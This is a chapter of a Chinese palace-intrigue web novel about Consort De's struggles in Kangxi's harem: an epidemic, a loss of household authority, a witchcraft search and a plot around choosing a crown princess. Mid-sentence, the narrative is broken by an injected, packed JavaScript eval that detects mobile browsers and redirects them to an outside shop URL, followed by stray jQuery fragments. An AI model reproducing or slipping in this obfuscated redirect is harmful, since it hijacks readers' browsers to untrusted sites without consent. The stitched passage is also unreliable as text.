文趣网 > 其他小说 > 后宫成璧传之第真卷 > 11. 第十一章 准噶尔的狼烟
    漱芳斋的夜色很深。

    那晚的月亮不大,挂在飞檐翘角上,像被谁咬了一口。我坐在戏台边的椅子上,阮移光站在廊下,王离心坐在青石桌沿上,三个人都没有说话。

    风从檐角吹过来,带着春末夏初的潮气。

    “离心。”阮移光忽然开口,声音很轻,“你这个名字,是谁给你取的?”

    王离心低下头,手指无意识地摩挲着笛子上的孔洞。

    “养父。”她说,“他说我从小就爱发呆,不爱说话,像是心不在这里。所以叫我离心。”

    “离别的离,心碎的心。”我说。

    她抬起头看了我一眼,又低下去。

    “我记事的时候,就在三藩之乱。”她的声音很小,像是在跟自己说话,“那时候到处都在打仗,到处都是逃难的人。人牙子把我从一户人家里带走,说是我爹娘把我卖了的。可我不记得了。我不记得我爹娘长什么样,不记得我家在哪里,甚至连我原来姓什么都不记得。”

    阮移光走过去,在她身边坐下。

    “你养父对你好吗?”

    王离心摇了摇头。

    “他让我叫他爹,可他从来不当我是女儿。他把我送进宫,是为了他的仕途。织造大人拿了他的银子,把我凑数送进来的。”她的声音有些发抖,“进宫之前,他跟我说——‘你若是能在宫里站稳脚跟,我就认你这个女儿。若是不能,你就死在宫里,别回来丢我的脸。’”

    夜风忽然大了起来,吹得檐角的风铃叮当作响。

    我看着王离心那张清瘦的脸,忽然想起很多年前,我也是这样被人送进宫的。只不过她是被养父送进来的,我是被隆科多骗进来的。

    一个是被抛弃,一个是被算计。殊途同归。

    “离心。”阮移光握住她的手,“我也是三藩之乱那年没了家的。”

    王离心抬起头,眼睛里有了泪光。

    “我阿爹和哥哥,都死在了那场仗里。我被人从尸山血海里捡出来,送进了教坊司。”阮移光的声音很平静,像在说别人的事,“后来被宜妃娘娘看中,带进了宫。”

    她转头看着王离心。

    “你要是愿意,从今往后,我就是你姐姐。”

    王离心的眼泪终于掉了下来。她扑进阮移光怀里,哭得浑身发抖。

    我坐在一旁,看着她们。

    心里忽然很酸。

    我好歹还有娘家——虽然嫡母和嫡姐巴不得我死,虽然那个家从来不是我的家。但至少我知道我是谁,我知道我爹是谁,我娘是谁。可王离心不知道。她连自己姓什么都不记得。

    “好好跟着你舒贵人姐姐。”我说,“在这宫里,有个姐姐是福气。”

    王离心从阮移光怀里抬起头,泪眼朦胧地看着我,重重地点了点头。

    就在这时候,兰茵慌慌张张地跑了进来。

    “娘娘,不好了!延禧宫那边出事了!”

    我的心猛地一沉。

    延禧宫是惠妃纳兰有澧的住处,这些年她一直在宫里照顾年幼的皇子皇女们,尤其是十三阿哥胤祥和十四阿哥胤祯。

    “出什么事了?”我站起身。

    “时疫。”兰茵的声音在发抖,“宫里有孩子得了时疫。赫舍里贵人的小阿哥,没了。”

    我的脑子嗡了一下。

    赫舍里索韵是孝诚仁皇后的妹妹,索尼的孙女,索额图的女儿。她的小阿哥才几个月大,说没就没了。

    “十三阿哥和十四阿哥呢?”我一边往外走一边问。

    “也中了招。”兰茵跟在我身后,声音急促,“惠妃娘娘已经在延禧宫指挥消杀了,但章佳贵人急得不行,在延禧宫外干跺脚,进不去。”

    阮移光也站了起来。

    “德妃娘娘,我陪你一起去。”

    “不。”我说,“你留在漱芳斋,陪离心。”

    我看了她一眼。

    “这个时候,谁出头谁就是靶子。你先别动。”

    阮移光点了点头,拉着王离心退到了一旁。

    我带着兰茵和梅雾,快步走向延禧宫。

    延禧宫外,章佳沅香正站在门口,急得眼泪汪汪,又不敢进去。她是十三阿哥胤祥的生母,这个时候却只能站在外面,什么也做不了。

    见我来了,她扑通一声跪下了。

    “德妃娘娘,求您救救十三阿哥!他还那么小,才四岁!他要是有个三长两短,奴婢也不活了!”

    我扶起她,拍了拍她的手背。

    “你放心,本宫不会让十三阿哥有事的。”

    我进了延禧宫。

    惠妃正带着太监宫女们满院子洒石灰、熏艾草。她脸色苍白,眼下乌青,一看就是好几天没合眼了。

    “德妃妹妹。”她见我进来,声音沙哑,“你来得正好。十三阿哥和十四阿哥都发热了,太医说是时疫,传染极快。赫舍里贵人的小阿哥……已经没了。”

    “我知道。”我说,“我来就是帮你。”

    惠妃握住我的手,眼眶红了。

    “德妃妹妹,这次怕是凶多吉少。我听说有人在苏麻喇姑面前进言,要把十三阿哥和十四阿哥送去福佑寺避痘。”

    我的心一紧。

    马佳琼殷。一定是她。

    她巴不得十三阿哥和十四阿哥死了才好。若是送出去,路上颠簸,两个孩子体弱,只怕还没到寺里就撑不住了。

    “不能送。”我说,“我去找苏麻喇姑。”

    苏麻喇姑住在慈宁宫偏殿,我赶到的时候,她正在灯下给十二阿哥胤裪缝衣裳。十二阿哥才六岁,养在她膝下,她日日忙着照看孩子,但宫里的风风雨雨,她心里清楚得很。

    “姑奶奶。”我跪下,额头抵着地面,“臣妾恳请您,不要把十三阿哥和十四阿哥送出宫。福佑寺路途遥远,两个孩子年幼体弱,路上颠簸,只怕凶多吉少。臣妾已请了太医院最好的太医,日夜守在延禧宫,定能治好他们。”

    苏麻喇姑放下手里的针线,看着我。

    “德妃,你可想好了?若是治不好,这责任你来担?”

    “臣妾担。”我说,“只要能让两个孩子平安,臣妾愿以性命担保。”

    苏麻喇姑沉默了很久,终于点了头。

    “去吧。好好看着他们。”

    我磕头谢恩,转身出了慈宁宫。

    三天三夜,我没合眼。

    我守在延禧宫,亲自看着太医开方、煎药、喂药。惠妃也守着,我们俩轮流照看两个孩子,谁也不敢闭眼。

    马佳琼殷在背后冷笑,说我是“假好心”。

    我没理她。

    第三天清晨,十三阿哥的烧退了。

    他睁开眼睛,看见我,虚弱地叫了一声“德妃娘娘”。我握着他的手,眼泪差点掉下来。

    “没事了。”我说,“没事了,你好了。”

    十四阿哥也脱了险。

    章佳沅香在延禧宫外听到消息,瘫坐在地上,哭得站不起来。惠妃也终于松了一口气,握着我的手,眼眶通红。

    “德妃妹妹,这次多亏了你。”

    “是姐姐日夜操劳。”我说,“我不过是搭把手。”

    可我知道,有人不希望这两个孩子活下来。

    没过几天,乌雅沚烟进宫了。

    她是去储秀宫吊唁赫舍里索韵的小阿哥的。

    索韵的小阿哥夭折,她悲痛欲绝,整日以泪洗面。乌雅沚烟坐在她床边,一脸心疼。

    “赫舍里贵人,您可要节哀啊。”她叹了口气,“只是,这好好的延禧宫,怎么突然就闹了时疫呢?依臣妇看,怕是有人协理六宫不力,才让时疫有了可乘之机。”

    索韵抬起头,泪眼婆娑地看着她。

    “你是说……德妃?”

    乌雅沚烟没说话,只是叹了口气。

    “臣妇不敢妄议。只是贵人您想想,德妃娘娘协理六宫,延禧宫归她管。如今时疫从延禧宫起,害死了您的小阿哥,她德妃就没有一点责任?”

    索韵的脸白得像纸。

    没过几天,她就去找了孝惠太后。

    “太后娘娘,臣妾恳请您撤去德妃协理六宫之权。”索韵跪在孝惠太后面前,哭得泣不成声,“延禧宫时疫,臣妾的小阿哥夭折,皆是德妃监管不力所致。臣妾不敢怨天尤人,只求太后为臣妾做主!”

    孝惠太后把我叫了去。

    “德妃,赫舍里贵人说的是实情。延禧宫在你协理范围内,时疫肆虐,你确实有责任。”

    我没有辩解。

    “太后娘娘说得是。臣妾协理不力,甘愿受罚。”

    孝惠太后叹了口气。

    “这样吧,你把手里的差事交给贵妃,先歇一阵子。”

    我磕头谢恩。

    走出宁寿花园,梅雾跟在我身后,愤愤不平。

    “娘娘,您为什么要认?那时疫又不是您招来的!赫舍里贵人没了孩子,她难过归难过,怎么能怪到您头上?”

    “她不怪我,她怪谁?”我说,“怪她自己?怪太医?怪皇上?她总要找个人恨,才能活得下去。”

    梅雾哑口无言。

    “而且,”我顿了顿,“这协理六宫的差事,本来就是烫手的山芋。让钮祜禄舜英去接,看她能接多久。”

    贵妃钮祜禄舜英拿到协理之权后,第一天就开始折腾。

    她先是以“节俭用度”为由,克扣了永和宫的炭火和衣食。然后又承乾宫的阮移光叫了去,以“舒贵人对贵妃不敬,擅自做主把宫女留在自己宫里安置”的名义,罚阮移光提铃。

    “舒贵人阮氏,不敬本宫,罚你提铃。从今晚开始,每日三更,你拿着铜铃走遍东六宫长街,不许停,不许歇,走完为止。”

    阮移光磕头。

    “臣妾领罚。”

    那天晚上,三更天,我站在永和宫的窗前,看见阮移光提着一只铜铃,从长街上走过。

    她的背影很直,步子很稳。铜铃在夜风里叮当作响,一声一声,像在敲打谁的心。

    梅雾站在我身后,眼圈红了。

    “娘娘,贵妃太过分了。”

    “她不会得意太久的。”我说。

    没过几天,乌雅沚烟来了永和宫。

    她是来“叙旧”的。

    “德妃娘娘,您还记得当年在府里的事吗?”她坐在椅子上,翘着二郎腿,一边喝茶一边说,“那时候您还小,我额娘让您给她捶腿,您捶得不好,我额娘拿藤条抽您的手心。您哭都不敢哭,咬着嘴唇忍着。”

    我放下茶盏,看着她。

    “记得。嫡母的教诲,本宫一日不敢忘。”

    乌雅沚烟笑了。

    “那您还记得吗?有一次您偷吃了我屋里的点心,我让人把您关在柴房里,关了一整夜。第二天您出来的时候,浑身都是老鼠屎。”

    兰茵站在我身后,气得浑身发抖。

    我笑了。

    “姐姐记性真好。不过本宫记得,那点心不是本宫偷吃的,是姐姐自己吃完了,嫁祸给本宫的。至于柴房……姐姐不提,本宫都快忘了。那晚柴房里有老鼠,咬破了本宫的手指,流了不少血。姐姐第二天看见本宫手上的伤,还笑着说——‘贱婢就是贱婢,连老鼠都欺负你’。”

    乌雅沚烟的脸色变了变。

    “你……”

    “姐姐,”我打断她,“今时不同往日。本宫是德妃,你是阿灵阿福晋。咱们的身份,早就调了个儿。姐姐若是来叙旧的,本宫欢迎。若是来找不痛快的——”

    我端

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916119|213324||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起茶盏,轻轻吹了吹浮沫。

    “本宫不介意让姐姐也尝尝,被关在柴房里的滋味。”

    乌雅沚烟的脸涨成了猪肝色。

    兰茵趁机上前,笑盈盈地说:“阿灵阿福晋慢走!福晋当年肯定没少调教我们家娘娘,不然我们家娘娘哪里能有今天呢!也许福晋身边的丫鬟,有朝一日也会飞上枝头的吧!”

    乌雅沚烟身边的小丫鬟翠瓶吓得脸色发白,扑通跪下。

    “奴婢万万不敢有非分之想!”

    乌雅沚烟瞪了翠瓶一眼,咬牙切齿地嘀咕了一句“小蹄子,一会儿回去收拾你”。

    梅雾打量着翠瓶,忽然皱起了眉。

    “依奴婢看,这丫头娇娇弱弱,男人肯定非常喜欢。”她笑着说,眼神却一直在翠瓶脸上转。

    翠瓶跪在地上,浑身发抖,不敢起来。

    乌雅沚烟的脸色更难看了,甩袖便走。

    翠瓶爬起来,踉踉跄跄地跟在她身后。

    梅雾看着翠瓶的背影,眉头越皱越紧。

    “娘娘,”她压低声音,“这丫头……怎么和当年递给六阿哥天花布老虎的那个茱儿长得那么像?”

    我心里一动。

    六阿哥。天花。布老虎。

    那是很多年前的事了。

    不过后来才得知,茱儿是这个翠瓶的姐姐,所以她们当然长得像。

    “送客吧。”我说,“本宫乏了。”

    兰茵和竹息把翠瓶送了出去。

    没过几天,前朝传来消息。

    准噶尔那边,阿灵阿担任的蒙古理藩院未能及时响应,大清蒙古铁骑损失惨重。皇上震怒,阿灵阿被革职留任,戴罪立功。

    竹息的叔父孙老将军和齐老将军自告奋勇去准噶尔平乱。

    皇上准了。

    我听说,隆科多也跟着去了。

    那天晚上,我在佛堂里跪了很久。

    我跪在菩萨面前,一遍一遍地念经,求菩萨保佑他平安归来。我不知道菩萨听不听得到,也不知道他值不值得我跪。但跪着跪着,眼泪就掉下来了。

    外人以为德妃是在求子,求再生一个阿哥或公主。只有我知道,我在求什么。

    我在求一个已经过去的人,能活着回来。

    乌雅沚烟不知从哪里听说了这件事,跑到贵妃面前告状。

    “贵妃娘娘,德妃在宫中行诅咒之术!她每日每夜跪在佛堂里,不知在咒谁死!”

    钮祜禄舜英眼睛一亮。

    “查!给本宫查!”

    第二天一早,孔茗就带着一群太监宫女冲进了永和宫。

    “德妃娘娘,贵妃娘娘有令,宫中有人行巫蛊之术,各处宫室都要搜查,得罪了。”

    我没拦。

    “搜吧。”

    他们把永和宫翻了个底朝天,连佛堂都没放过。可翻来翻去,什么也没翻出来。

    孔茗不甘心,又带人去了承乾宫。

    就在这时候,宜妃郭络罗楚毓来了。

    她穿着一身藕荷色的旗装,安安静静地站在永和宫门口,声音不大,却清清楚楚。

    “本宫可以为德妃娘娘作证。她每日在佛堂念经,是在祈求皇上平安,祈求准噶尔之战早日凯旋。本宫亲眼所见。”

    孔茗愣住了。

    宜妃素来不掺和这些事,她今日怎么会突然站出来?

    “怎么?”宜妃看着她,“本宫的话,你不信?要不要本宫去请皇上,让他亲自来问?”

    孔茗不敢再造次,带着人灰溜溜地走了。

    当天晚上,宜妃侍寝。

    她跪在康熙面前,说了一句话。

    “皇上,太子爷已经成年了。该有个太子妃了。”

    康熙看着她,沉默了很久。

    “你说得对。”

    第二天,他就让人去钦天监算黄道吉日,打算在储秀宫和赫舍里索韵一起遴选太子妃。

    孝惠太后得知后,也很赞同。

    钮祜禄舜英听到消息,气得摔了杯子。

    “郭络罗楚毓!本宫与你无冤无仇,你为何要跟本宫作对!”

    李式微也听到了消息。她站在东宫的院子里,手指攥着帕子,指节发白。

    她们都不想要一个太子妃。

    可皇上已经开了口,谁也拦不住。

    那天傍晚,阮移光来了永和宫。

    她穿着一身素净的衣裳,脸色还有些苍白,但精神已经好了许多。

    “德妃娘娘。”她坐下,压低声音,“我有一个计划。”

    “说。”

    “如果未来的太子妃是善解人意、贤良淑德的人,”她说,“我就配合她,夺了贵妃的权。”

    “如果她和贵妃是同款跋扈傲慢的人呢?”我问。

    阮移光笑了。

    “那就更好了。利用她的傲慢,加上李式微的小性子,去分散贵妃的心力。祸水东引,挑起东宫和永寿宫的战争。”

    我看着她,忽然觉得,这个摆夷女子,比我以为的还要聪明。

    “你都想好了?”

    “都想好了。”她说,“就看这位未来的太子妃,是个什么样的人了。”

    我点了点头。

    窗外的天已经黑透了,永和宫的灯火在夜风里轻轻摇晃。

    我端起茶盏,抿了一口。

    “那就等着吧。”

    夜风吹过,檐角的风铃叮当作响。

    准噶尔的狼烟还在天边燃烧,后宫的战争却已经从永寿宫烧到了东宫,从东宫烧到了翊坤宫,从翊坤宫烧到了永和宫。

    而我,已经准备好了。

    无论是前朝的刀,还是后宫的剑,我都接着。

    因为我是德妃。

    乌雅·成璧。